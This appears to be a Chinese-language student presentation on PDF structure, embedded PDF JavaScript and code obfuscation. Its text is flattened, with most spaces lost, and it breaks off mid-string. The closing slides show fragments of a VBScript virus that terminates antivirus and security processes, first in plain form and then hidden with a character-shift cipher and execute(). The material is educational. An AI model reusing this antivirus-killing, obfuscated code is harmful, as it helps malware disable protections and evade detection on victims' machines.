PDF代碼混淆技術(shù)

PDF代碼混淆技術(shù)pdf-obfuscationB10040529宮天何B10040606楊靜平B10040605李慧靈目錄

PDF簡(jiǎn)介

PDF文件結(jié)構(gòu)

PDF與JavaScript

代碼混淆技術(shù)PDF簡(jiǎn)介

PDF是PortableDocumentFormat（便攜文件格式）的縮寫，是一種電子文件格式，與操作系統(tǒng)平臺(tái)無(wú)關(guān)，由Adobe公司開發(fā)而成。PDF文件是以PostScript語(yǔ)言圖象模型為基礎(chǔ)，無(wú)論在哪種打印機(jī)上都可保證精確的顏色和準(zhǔn)確的打印效果，即PDF會(huì)忠實(shí)地再現(xiàn)原稿的每一個(gè)字符、顏色以及圖象。PDF文件結(jié)構(gòu)

(1)文件頭； (2)對(duì)象的建立聲明； (3)交叉引用表； (4)文件尾。PDF文件結(jié)構(gòu)

PDF文件結(jié)構(gòu)

——關(guān)于對(duì)象： PDF文檔是由一些稱為“對(duì)象”的模塊組成的。并且每個(gè)對(duì)象都有數(shù)字標(biāo)號(hào)，這樣的話可以這些對(duì)象就可以北其他的對(duì)象所引用。 ——定義方式： 30obj << /Type/Pages /Count1 /Kids[40R] >> endobj鍵值對(duì)對(duì)象名稱結(jié)束標(biāo)志PDF文件結(jié)構(gòu)

HelloWorld文件頭PDF文件結(jié)構(gòu)

交叉引用表： 交叉引用表記錄了每個(gè)對(duì)象在內(nèi)存中的偏移地址。 文件尾： 文件尾部記錄了根對(duì)象名、信息對(duì)象名、對(duì)象總數(shù)及交叉引用表在內(nèi)存中的偏移地址。PDF文件結(jié)構(gòu)

HelloWorld交叉引用表文件尾PDF文件結(jié)構(gòu)

HelloWorldPDF文件結(jié)構(gòu)

演示： 1.將該P(yáng)DF的內(nèi)容由flate壓縮編碼改成文本ASCII編碼格式。 2.將“HelloWorld”改成“MyHelloWorld”。 技巧： 為了避免交叉引用表的修改，我們可以使用空格填充字符流對(duì)象使得該對(duì)象所占內(nèi)存地址偏移量不變。

HelloWorldPDF文件結(jié)構(gòu)

HelloWorld

20obj <</Length61>> streamBT /F124Tf100600Td (myHelloWorld)Tj ET endstream endobjPDF與JavaScript

AdobeAcrobatProfessional軟件可以使商業(yè)人士能夠可靠地創(chuàng)建、合并和控制AdobePDF文檔，以便輕松且更加安全地進(jìn)行分發(fā)、協(xié)作和數(shù)據(jù)收集。制作PDF文檔的利器，辦公必備。近年來(lái)，Adobe公司一直在努力使Acrobat從一款簡(jiǎn)單的PDF軟件發(fā)展成一個(gè)完整的數(shù)碼發(fā)布平臺(tái)，甚至增加了對(duì)三維圖片的支持。PDF與JavaScript

在PDF文件中可以嵌入JavaScript，例如： 80obj <</JS( //JavaScript代碼 )/S/JavaScript>> endobjPDF與JavaScript

利用Acrobat在PDF中添加JavaScript動(dòng)作： app.alert("Test"); app.launchURL ("",true);PDF與JavaScript

PeachyVirus

SecurityexpertshavefoundthefirstvirusabletopropagatethroughAdobe’sencryptedportabledocumentformat(PDF)files,aformatoncethoughttobevirtuallyimpenetrable. 目前安全專家發(fā)現(xiàn)了首例通過(guò)加密的PDF繁殖的病毒，以往這種方式是很難以理解的。PDF與JavaScript

PeachyVirus

NamedPeachybyexpertsatWebsecurityfirmMcAfeeonTuesday,thee-mailvirushidesitselfinPDFfilesandinfectsothercomputersystemsbysendingthefileasanattachmentthroughtheMicrosoftOutlooke-mailprogram. 這種叫做Peachy的病毒在周二被McAfee證實(shí)了。它通過(guò)郵件把自己隱藏在PDF文件中，并感染其余通過(guò)Outlook發(fā)送的文件。PDF與JavaScript

PeachyVirus

ThevirusexploitsafeatureinAcrobatthatcombinesotherfileswiththePDFcode. 該病毒通過(guò)Acrobat的某種特點(diǎn)，將其余文件與PDF代碼進(jìn)行合并。

——摘自abcNews代碼混淆技術(shù)

代碼混淆技術(shù)是一種重要的軟件保護(hù)方法，混淆的實(shí)質(zhì)就是一種變換，通過(guò)這種變換把原來(lái)的代碼變成與其功能相同或相近的，但是更難被理解和反編譯的代碼。由于混淆技術(shù)可以根據(jù)不同的目的，不同的混淆對(duì)象采用不同的方法，這使得混淆方法非常多。代碼混淆技術(shù)

JavaScript基本常用方法： (1)字母替換 (2)[]與數(shù)字 (3)eval()函數(shù) (4)escape()函數(shù) (5)加密技術(shù) (6)隨機(jī)變量名 …………代碼混淆技術(shù)

采用簡(jiǎn)單的代碼混淆技術(shù)混淆病毒代碼。 這里將virus.vbs進(jìn)行混淆?；煜绞讲捎眉用芊绞胶蚭xecute()函數(shù)。代碼混淆技術(shù)

加密方式： 可以采用對(duì)稱加密算法(如AES、RC4)進(jìn)行加密。這里為了簡(jiǎn)單直觀，采用了古典加密方式(仿射加密，取a=1,b=1) execute()函數(shù)： 類似于JavaScript中的eval()函數(shù)。使用方法為excute(Stringcode)，其中code是代碼的字符串形式，效果是執(zhí)行該代碼。

代碼混淆技術(shù)

例如： execute("i=3") execute("j=i+1") msgbox(j) 結(jié)果為4。

代碼混淆技術(shù)

Functionde(x) dimp,ch,i,l p="" l=Len(x) fori=1tol ch=mid(x,i,1) ch=chr(asc(ch)-1) p=p&ch next de=p endfunction

這是一個(gè)解密函數(shù)：它的效果是將字符串中每個(gè)字母的ASCII值減去1。例如：x="bcd"則，de(x)="abc"代碼混淆技術(shù)

原來(lái)： CallKillProcess(ProcessNames) 可以混淆為： ss="Dbmm!LjmmQspdftt)QspdfttObnft*" ss=de(ss) execute(ss)

代碼混淆技術(shù)

OnErrorResumeNext DimProcessNames dima0,a1,a2,a3,a4,a5,ssa0="mspaint.exe" a1="ras.exe" a2="360tray.exe" a3="SREng.exe" a4="USBAntiVir.exe" a5="KAVStart.exe" ProcessNames=Array(a0,a1,a2,a3,a4,a5) CallKillProcess(ProcessNames)

a0="ntqbjou/fyf" :a0=de(a0)a1="sbt/fyf"

:a1=de(a1)a2="471usbz/fyf"

:a2=de(a2)a3="TSFoh/fyf"

:a3=de(a3)a4="VTCBoujWjs/fyf"

:a4=de(a4)a5="LBWTubsu/fyf"

:a5=de(a5)ss="Dbmm!LjmmQspdftt)QspdfttObnft*"ss=de(ss)execute(ss)代碼混淆技術(shù)

SetobjWMIServices=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIServices.Execquery("Select*Fromwin32_processwherename='"&ProcessName&"'")intReturn=objProcess.TerminateobjShell.Run"cmd.exe/c@tskill"&name_exe,0,Truess="Tfu!pckXNJTfswjdft!>!HfuPckfdu)#xjonhnut;]]#!'!tusDpnqvufs!'!#]sppu]djnw3#*"execute(de(ss))ss="Tfu!dpmQspdfttMjtu!>!pckXNJTfswjdft/Fyfdrvfsz)#!Tfmfdu!+!Gspn!xjo43`qspdftt!xifsf!obnf!>!(#!'!QspdfttObnf!'!#(!#*"execute(de(ss))ss="jouSfuvso!>!pckQsp